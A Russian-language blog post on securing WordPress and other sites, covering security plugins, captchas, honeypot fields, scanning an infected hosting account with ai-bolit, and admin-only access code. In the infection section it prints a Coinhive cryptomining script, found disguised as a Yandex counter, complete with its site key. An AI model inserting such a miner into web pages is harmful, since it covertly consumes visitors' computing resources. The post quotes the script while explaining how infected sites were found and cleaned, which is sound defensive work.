/ Адаптивность / Безопасность сайта

Безопасность сайта

HIT

Рассмотрим различные аспекты связанные с безопасностью сайта. Данная тема становится все более актуальной, особенно когда мы сталкиваемся с разработкой крупного проекта.

Wordfence Security

Отличный плагин (более миллиона загрузок) по выявлению измененных файлов ядра и обеспечения сайта в целом. При обнаружении внештатной ситуации необходимо провести сканирование. Wordfence Security выявляет и показывает перечень потенциальных уязвимостей.

Защита форм WordPress

Для добавления reCaptcha на все стандартные формы WordPress устанавливаем плагин Captcha by BestWebSoft. Тут все просто. На всех формах взаимодействия с админкой (авторизация, регистрация, смена пароля и т.д.) появляется настраиваемая каптча. Плагин работает отлично!

Смена пароля в админку

Пароль можно изменить через phpMyAdmin. Заходим в БД, находим юзера в таблице wp_users. Включаем изменить на нужной строке, меняем пароль входа. !Редактируя строку user_pass обязательно нужно включить функцию MD5 (из выпадающего списка).

Заражение сайта вирусами

Буду описывать различные кейсы заражения сайтов вирусами и какие меры были предприняты.

Появление в functions кода, которого быть не должно

Недавно (06.12.2017) на группе сайтов происходили непонятные вещи. То ли сайт был заражен извне, то ли это я экспериментировал со скачанными на nulled плагинами.
Происходило следующее:

  • В файл (в начале) function добавлялся код
  • Были изменены файлы ядра: wp-config-sample.php, readme.html
  • Добавлены в ядро следующие файлы: wp-includes/wp-feed.php, wp-includes/wp-tmp.php, wp-includes/wp-vcd.php

Масштабное заражение и блокировка аккаунта

Недавно столкнулся с ситуацией, когда хостеры вовсе заблокировали аккаунт из-за того, что на нем были обнаружены вирусы. Хотя на данном аккаунте я делал довольно простой лэндинг.

Мне было предложено подключиться по SSH (через программу Putty) и просканировать сервер программой ai-bolit. Через SSH нужно было сделать небольшую последовательность команд, сначала:

Работая с программой Putty: в первом окне вводим адрес сервера и название сеанса, порт 22, выбор на SSH. Далее в командной строке вводим логин, а далее пароль. Пароль визуально не будет появляться — это нормально. Cntr + v в Putty не работает. Если мы скопировали данные в буфер обмена, вставляются они нажатием правой кнопки мыши.
mkdir ai && mkdir ai/reports && cd ai

этой командой по сути мы просто создаем директорию и переходим в нее. Параллельно, через файловый менеджер, загружаем во вновь созданную директорию ai скаченный с официального сайта ai-bolit.zip (AI-Bolit для сайтов). После этого запускаем следующую команду:

unzip ai-bolit.zip && php $HOME/ai/ai-bolit/ai-bolit.php --path=$HOME --report=$HOME/ai/reports/report.html --mode=2 --skip=jpg,png,gif,jpeg,JPG,PNG,GIF,bmp,xml,zip,rar,css,avi,mov

После того, как сканирование завершиться лог отчета можно посмотреть в папке ai/reports/report.html

Естественно, что многие файлы даже не зараженные вирусами ai-bolit будет считать потенциальной угрозой. Нам нужно выявлять и удалять по ФТП:

  • Файлы с непонятными названиями, например ksvqyhtd.php
  • Файлы с нормальными названиями, но которых в файлах ядра системы быть не должно
  • Очевидно измененные файлы: index.php, functions.php, .htaccess, wp-config.php, wp-settings.php

После того как я удалил или исправил очевидные зараженные вирусы, хостер включил сайты и уже изнутри с помощью плагина Wordfence Security было проведено сканирование. По результату обнаружились угрозы, которые в последствии были локализованы. Далее Wordfence Security продолжает работать как Firewall.

Причиной в этот раз, по всей видимости, снова стали эксперименты (не мои) со скаченными темами и плагинами, я обнаружил незарегистрированный WPBakery Visual Composer.

Скрипт по майнингу криптовалюты

Недавно обнаружил на нескольких сайтах (CMS modX) скрипт по майнингу криптовалюты, замаскированный под счетчик Яндекс.

<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.User('MkQ129BWDFaoWndzmb7UMEJlFOzJcdKO', 'favicon');
miner.start();
</script>

Если в браузере открыта вкладка со страницей зараженной этим скриптом, компьютер начинает потреблять больше ресурсов и притормаживает. На сайтах WP пока данной проблемы не обнаружил.

Защита от СПАМа

Если ничего не делать, то рано или поздно на сайт начнет приходить куча СПАМ-комментариев и писем с форм обратной связи. От СПАМа в комментариях хорошо помогает плагин Anti-spam (100 000 установок), а от СПАМ-писем с Contact Form 7 борется дополнение Contact Form 7 Honeypot (100 000 установок). Anti-spam работает без каких-либо настроек и действий. Honeypot нужно добавить во все формы обратной связи (новое скрытое поле [honeypot honeypot-642] с настройками по умолчанию).

Плагин WP-SpamShield вызывает противоречия с ядром WP и не дает совершить изменения тем и плагинов. Обновления вызывают ошибку: Невозможно соединиться с сайтом для проверки кода на ошибки, был сделан откат изменений в PHP-коде. Вам нужно загрузить измененный PHP файл другим способом, например через FTP или SFTP.

ReCaptcha установка

Регистрируемся и создаем ReCaptcha на сайте https://www.google.com/recaptcha

Получаем 2 ключа. Первый (ключ сайта) вставляем в форму:

<div class="g-recaptcha" data-sitekey="11111111111111111111111111111111"></div>

Второй (секретный ключ) вставляем в обработчик формы (например send.php):

if (isset($_POST['g-recaptcha-response'])) {
    $url_to_google_api = "https://www.google.com/recaptcha/api/siteverify";
    $secret_key = '22222222222222222222222222222222222222222';
    $query = $url_to_google_api . '?secret=' . $secret_key . '&response=' . $_POST['g-recaptcha-response'] . '&remoteip=' . $_SERVER['REMOTE_ADDR'];
    $data = json_decode(file_get_contents($query));
    if ($data->success) {
        // Продолжаем работать с данными для авторизации из POST массива
    } else {
        exit('Извините но похоже вы робот \(0_0)/');
    }
} else {
    exit('Вы не прошли валидацию reCaptcha');
}

3. Подключаем скрипт (https://www.google.com/recaptcha/api.js):

/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var CFG='___grecaptcha_cfg';if(!window[CFG]){window[CFG]={};}var GR='grecaptcha';if(!window[GR]){window[GR]={};}window[GR].ready=window[GR].ready||function(f){(window[CFG]['fns']=window[CFG]['fns']||[]).push(f);};(window[CFG]['render']=window[CFG]['render']||[]).push('onload');window['__google_recaptcha_client']=true;var po=document.createElement('script');po.type='text/javascript';po.async=true;po.src='https://www.gstatic.com/recaptcha/api2/v1565591531251/recaptcha__ru.js';var elem=document.querySelector('script[nonce]');var n=elem&&(elem['nonce']||elem.getAttribute('nonce'));if(n){po.setAttribute('nonce',n);}var s=document.getElementsByTagName('script')[0];s.parentNode.insertBefore(po, s);})();

Установка ReCaptcha в CF7

С какой-то версии в CF7 можно интегрировать reCAPTCHA версии 3, просто введя Ключ сайта и Секретный ключ. Чтобы изменить версию на v.2 — нужно установить плагин ReCaptcha v2 for Contact Form 7 (100 000) и в саму форму вставить шорткод [recaptcha].

Защита от СПАМа скрытым полем

Данное поле скрыто будет только визуально. И проверка в данном случае будет наоборот при его заполненности.

<input class="form-field form-address" type="text" name="address" placeholder="Адрес">
input.form-field.form-address {
    height: 1px;
    font-size: 0.1rem;
    padding: 0;
    border: none;
    margin-bottom: 0;
    visibility: hidden;
}
var address = $("#order .form-address").val();
if (address.length > 0) {
	return false;		
}

Доступ в админку только администратору

// Доступ только админу
function only_admin() {
	if ( ! current_user_can( 'manage_options' ) && '/wp-admin/admin-ajax.php' != $_SERVER['PHP_SELF'] ) {
		wp_redirect( site_url() );
	}
}
add_action( 'admin_init', 'only_admin', 1 );

Поделиться в соц. сетях:

  • Комментарии
  • Вложения

Добавить комментарий

Пока нет комментариев. Будь первым!

Безопасность сайта
Миниатюры меток
Рекомендации для васМиниатюры метокOpttour.ru
Спасибо! Наш менеджер свяжется с Вами в течении 5 минут.